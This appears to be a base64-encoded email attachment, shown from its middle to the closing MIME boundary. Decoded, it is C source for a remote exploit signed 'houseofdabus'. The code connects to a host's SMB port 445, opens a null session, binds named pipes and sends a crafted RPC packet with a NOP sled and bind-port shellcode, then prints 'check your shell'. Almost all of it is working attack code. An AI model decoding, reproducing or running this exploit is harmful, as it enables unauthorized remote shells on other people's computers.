LjogaG91c2VvZmRhYnVzIDouXG5cblxuIik7DQoNCg0KCWlmIC hhcmdjIDwgMykgew0KCQlwcmlu
dGYoIiVzIDxob3N0PiA8YmluZCBwb3J0PlxuIiwgYXJndlswXS k7DQoJCWV4aXQoMCk7DQoJfQ0K
DQoJaWYgKChoZSA9IGdldGhvc3RieW5hbWUoYXJndlsxXSkpID 09IE5VTEwpIHsNCgkJcHJpbnRm
KCJbLV0gVW5hYmxlIHRvIHJlc29sdmUgJXNcbiIsIGFyZ3ZbMV 0pOw0KCQlleGl0KDApOw0KCX0N
Cg0KCWlmICgoc29ja2ZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0 tfU1RSRUFNLCAwKSkgPCAwKSB7
DQoJCXByaW50ZigiWy1dIHNvY2tldCBmYWlsZWRcbiIpOw0KCQ lleGl0KDApOw0KCX0NCg0KCWFk
ZHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQoJYWRkci5zaW5fcG 9ydCA9IGh0b25zKDQ0NSk7DQoJ
YWRkci5zaW5fYWRkciA9ICooKHN0cnVjdCBpbl9hZGRyICopaG UtPmhfYWRkcik7DQoJbWVtc2V0
KCYoYWRkci5zaW5femVybyksICdcMCcsIDgpOw0KDQoNCg0KCX ByaW50ZigiXG5bKl0gY29ubmVj
dGluZyB0byAlczo0NDUuLi4iLCBhcmd2WzFdKTsNCglpZiAoY2 9ubmVjdChzb2NrZmQsIChzdHJ1
Y3Qgc29ja2FkZHIgKikmYWRkciwgc2l6ZW9mKHN0cnVjdCBzb2 NrYWRkcikpIDwgMCkgew0KCQlw
cmludGYoIlxuWy1dIGNvbm5lY3QgZmFpbGVkXG4iKTsNCgkJZX hpdCgwKTsNCgl9DQoJcHJpbnRm
KCJva1xuIik7DQoNCglwcmludGYoIlsqXSBudWxsIHNlc3Npb2 4uLi4iKTsNCglpZiAoc2VuZChz
b2NrZmQsIFNNQl9OZWdvdGlhdGUsIHNpemVvZihTTUJfTmVnb3 RpYXRlKS0xLCAwKSA8IDApIHsN
CgkJcHJpbnRmKCJcblstXSBzZW5kIGZhaWxlZFxuIik7DQoJCW V4aXQoMCk7DQoJfQ0KDQoJbGVu
ID0gcmVjdihzb2NrZmQsIHJlY3ZidWYsIDQwOTYsIDApOw0KCW lmICgobGVuIDw9IDEwKSB8fCAo
cmVjdmJ1Zls5XSAhPSAwKSkgew0KCQlwcmludGYoIlxuWy1dIG ZhaWxlZFxuIik7DQoJCWV4aXQo
MCk7DQoJfQ0KDQoJaWYgKHNlbmQoc29ja2ZkLCBTTUJfU2Vzc2 lvblNldHVwQW5kWCwgc2l6ZW9m
KFNNQl9TZXNzaW9uU2V0dXBBbmRYKS0xLCAwKSA8IDApIHsNCg kJcHJpbnRmKCJcblstXSBzZW5k
IGZhaWxlZFxuIik7DQoJCWV4aXQoMCk7DQoJfQ0KDQoJbGVuID 0gcmVjdihzb2NrZmQsIHJlY3Zi
dWYsIDQwOTYsIDApOw0KCWlmIChsZW4gPD0gMTApIHsNCgkJcH JpbnRmKCJcblstXSBmYWlsZWRc
biIpOw0KCQlleGl0KDApOw0KCX0NCg0KCWlmIChzZW5kKHNvY2 tmZCwgU01CX1Nlc3Npb25TZXR1
cEFuZFgyLCBzaXplb2YoU01CX1Nlc3Npb25TZXR1cEFuZFgyKS 0xLCAwKSA8IDApIHsNCgkJcHJp
bnRmKCJcblstXSBzZW5kIGZhaWxlZFxuIik7DQoJCWV4aXQoMC k7DQoJfQ0KDQoJbGVuID0gcmVj
dihzb2NrZmQsIHJlY3ZidWYsIDQwOTYsIDApOw0KCWlmICgobG VuIDw9IDEwKSB8fCAocmVjdmJ1
Zls5XSAhPSAwKSkgew0KCQlwcmludGYoIlxuWy1dIGZhaWxlZF xuIik7DQoJCWV4aXQoMCk7DQoJ
fQ0KDQoJcHRyID0gcGFja2V0Ow0KCW1lbWNweShwdHIsIFNNQl 9UcmVlQ29ubmVjdEFuZFgsIHNp
emVvZihTTUJfVHJlZUNvbm5lY3RBbmRYKS0xKTsNCglwdHIgKz 0gc2l6ZW9mKFNNQl9UcmVlQ29u
bmVjdEFuZFgpLTE7DQoNCglzcHJpbnRmKHRtcCwgIlxcXFwlc1 xcSVBDJCIsIGFyZ3ZbMV0pOw0K
CWNvbnZlcnRfbmFtZShwdHIsIHRtcCk7DQoJc21ibGVuID0gc3 RybGVuKHRtcCkqMjsNCglwdHIg
Kz0gc21ibGVuOw0KCXNtYmxlbiArPSA5Ow0KCW1lbWNweShwYW NrZXQgKyBzaXplb2YoU01CX1Ry
ZWVDb25uZWN0QW5kWCktMS0zLCAmc21ibGVuLCAxKTsNCg0KCW 1lbWNweShwdHIsIFNNQl9UcmVl
Q29ubmVjdEFuZFhfLCBzaXplb2YoU01CX1RyZWVDb25uZWN0QW 5kWF8pLTEpOw0KCXB0ciArPSBz
aXplb2YoU01CX1RyZWVDb25uZWN0QW5kWF8pLTE7DQoNCglzbW JsZW4gPSBwdHItcGFja2V0Ow0K
CXNtYmxlbiAtPSA0Ow0KCW1lbWNweShwYWNrZXQrMywgJnNtYm xlbiwgMSk7DQoNCglpZiAoc2Vu
ZChzb2NrZmQsIHBhY2tldCwgcHRyLXBhY2tldCwgMCkgPCAwKS B7DQoJCXByaW50ZigiXG5bLV0g
c2VuZCBmYWlsZWRcbiIpOw0KCQlleGl0KDApOw0KCX0NCg0KCW xlbiA9IHJlY3Yoc29ja2ZkLCBy
ZWN2YnVmLCA0MDk2LCAwKTsNCglpZiAoKGxlbiA8PSAxMCkgfH wgKHJlY3ZidWZbOV0gIT0gMCkp
IHsNCgkJcHJpbnRmKCJcblstXSBmYWlsZWRcbiIpOw0KCQlleG l0KDApOw0KCX0NCg0KCXByaW50
Zigib2tcbiIpOw0KCXByaW50ZigiWypdIGJpbmQgcGlwZS4uLi IpOw0KDQoJaWYgKHNlbmQoc29j
a2ZkLCBTTUJfUGlwZVJlcXVlc3RfYnJvd3Nlciwgc2l6ZW9mKF NNQl9QaXBlUmVxdWVzdF9icm93
c2VyKS0xLCAwKSA8IDApIHsNCgkJcHJpbnRmKCJcblstXSBzZW 5kIGZhaWxlZFxuIik7DQoJCWV4
aXQoMCk7DQoJfQ0KDQoJbGVuID0gcmVjdihzb2NrZmQsIHJlY3 ZidWYsIDQwOTYsIDApOw0KCWlm
ICgobGVuIDw9IDEwKSB8fCAocmVjdmJ1Zls5XSAhPSAwKSkgew 0KCQlwcmludGYoIlxuWy1dIGZh
aWxlZFxuIik7DQoJCWV4aXQoMCk7DQoJfQ0KDQoJaWYgKHNlbm Qoc29ja2ZkLCBTTUJfUE5QRW5k
cG9pbnQsIHNpemVvZihTTUJfUE5QRW5kcG9pbnQpLTEsIDApID wgMCkgew0KCQlwcmludGYoIlxu
Wy1dIHNlbmQgZmFpbGVkXG4iKTsNCgkJZXhpdCgwKTsNCgl9DQ oNCglsZW4gPSByZWN2KHNvY2tm
ZCwgcmVjdmJ1ZiwgNDA5NiwgMCk7DQoJaWYgKChsZW4gPD0gMT ApIHx8IChyZWN2YnVmWzldICE9
IDApKSB7DQoJCXByaW50ZigiXG5bLV0gZmFpbGVkXG4iKTsNCg kJZXhpdCgwKTsNCgl9DQoNCglw
cmludGYoIm9rXG4iKTsNCglwcmludGYoIlsqXSBzZW5kaW5nIG NyYWZ0ZWQgcGFja2V0Li4uIik7
DQoNCgkvLyBub3ANCglwdHIgPSBwYWNrZXQ7DQoJbWVtc2V0KH BhY2tldCwgJ1x4OTAnLCBzaXpl
b2YocGFja2V0KSk7DQoNCgkvLyBoZWFkZXIgJiBvZmZzZXRzDQ oJbWVtY3B5KHB0ciwgUlBDX2Nh
bGwsIHNpemVvZihSUENfY2FsbCktMSk7DQoJcHRyICs9IHNpem VvZihSUENfY2FsbCktMTsNCg0K
CS8vIHNoZWxsY29kZQ0KCWJpbmRwb3J0ID0gKHVuc2lnbmVkIH Nob3J0KWF0b2koYXJndlsyXSk7
DQoJYmluZHBvcnQgXj0gMHgwNDM3Ow0KCVNFVF9QT1JUQklORF 9QT1JUKGJpbmRfc2hlbGxjb2Rl
LCBodG9ucyhiaW5kcG9ydCkpOw0KCW1lbWNweShwdHIsIGJpbm Rfc2hlbGxjb2RlLCBzaXplb2Yo
YmluZF9zaGVsbGNvZGUpLTEpOw0KDQoJLy8gZW5kIG9mIHBhY2 tldA0KCW1lbWNweSggcGFja2V0
ICsgMjE5NiAtIHNpemVvZihSUENfY2FsbF9lbmQpLTEgKyAyLA 0KCQlSUENfY2FsbF9lbmQsDQoJ
CXNpemVvZihSUENfY2FsbF9lbmQpLTEpOw0KDQoJLy8gc2VuZG luZy4uLg0KCWlmIChzZW5kKHNv
Y2tmZCwgcGFja2V0LCAyMTk2LCAwKSA8IDApIHsNCgkJcHJpbn RmKCJcblstXSBzZW5kIGZhaWxl
ZFxuIik7DQoJCWV4aXQoMCk7DQoJfQ0KCXByaW50Zigib2tcbi IpOw0KCXByaW50ZigiWypdIGNo
ZWNrIHlvdXIgc2hlbGwgb24gJXM6JWlcbiIsIGFyZ3ZbMV0sIG F0b2koYXJndlsyXSkpOw0KDQoJ
cmVjdihzb2NrZmQsIHJlY3ZidWYsIDQwOTYsIDApOw0KDQpyZX R1cm4gMDsNCn0NCg==

------Axp7AeKy-k8ikyzkcG6yJ6q6b:1123857468--